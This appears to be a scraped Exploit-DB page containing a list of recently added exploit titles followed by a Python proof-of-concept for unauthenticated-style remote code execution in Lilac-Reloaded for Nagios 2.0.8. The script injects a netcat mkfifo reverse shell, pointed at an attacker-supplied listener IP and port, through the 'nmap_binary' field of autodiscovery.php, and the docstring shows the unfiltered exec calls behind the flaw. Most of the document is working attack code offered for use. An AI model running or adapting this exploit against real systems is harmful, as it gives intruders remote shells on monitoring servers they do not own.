bd09027499
18 changes to exploits/shellcodes/ghdb Franklin Fueling Systems TS-550 - Default Password Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information Linux Kernel 6.2 - Userspace Processes To Enable Mitigation Microsoft Word 16.72.23040900 - Remote Code Execution (RCE) Bang Resto v1.0 - 'Multiple' SQL Injection Bang Resto v1.0 - Stored Cross-Site Scripting (XSS) Chitor-CMS v1.1.2 - Pre-Auth SQL Injection GDidees CMS 3.9.1 - Local File Disclosure Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE) Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS) ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE) Serendipity 2.4.0 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated) FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE) AspEmail v5.6.0.2 - Local Privilege Escalation File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
68 lines
No EOL
2.3 KiB
Python
Executable file
68 lines
No EOL
2.3 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
"""
|
|
# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)
|
|
# Google Dork: N/A
|
|
# Date: 2023-04-13
|
|
# Exploit Author: max / Zoltan Padanyi
|
|
# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit
|
|
# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download
|
|
# Version: 2.0.8
|
|
# Tested on: Debian 7.6
|
|
# CVE : N/A
|
|
|
|
The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;
|
|
|
|
Use at your own risk!
|
|
|
|
RCA - wild exec is ongoing without any filtering
|
|
|
|
in library/Net/Traceroute.php
|
|
|
|
181 function _setTraceroutePath($sysname)
|
|
182 {
|
|
183 $status = '';
|
|
184 $output = array();
|
|
185 $traceroute_path = '';
|
|
186
|
|
187 if ("windows" == $sysname) {
|
|
188 return "tracert";
|
|
189 } else {
|
|
190 $traceroute_path = exec("which traceroute", $output, $status);
|
|
[...]
|
|
257 function traceroute($host)
|
|
258 {
|
|
259
|
|
260 $argList = $this->_createArgList();
|
|
261 $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];
|
|
262 exec($cmd, $this->_result);
|
|
|
|
|
|
"""
|
|
|
|
import requests
|
|
import argparse
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)
|
|
parser.add_argument("-i", "--ip", help="Listener IP", required=True)
|
|
parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)
|
|
args = parser.parse_args()
|
|
|
|
rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"
|
|
|
|
body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}
|
|
|
|
try:
|
|
r = requests.get(args.url)
|
|
if r.ok:
|
|
print("[+] URL looks good...moving forward...")
|
|
print("[+] Sending exploit in...")
|
|
r = requests.post(args.url,data=body)
|
|
if r.ok:
|
|
print("[+] Got HTTP 200, check your listener!")
|
|
else:
|
|
print("[-] Some kind of error happened, check the http response below!")
|
|
print(r.text)
|
|
except Exception as e:
|
|
print("General exception: " + str(e)) |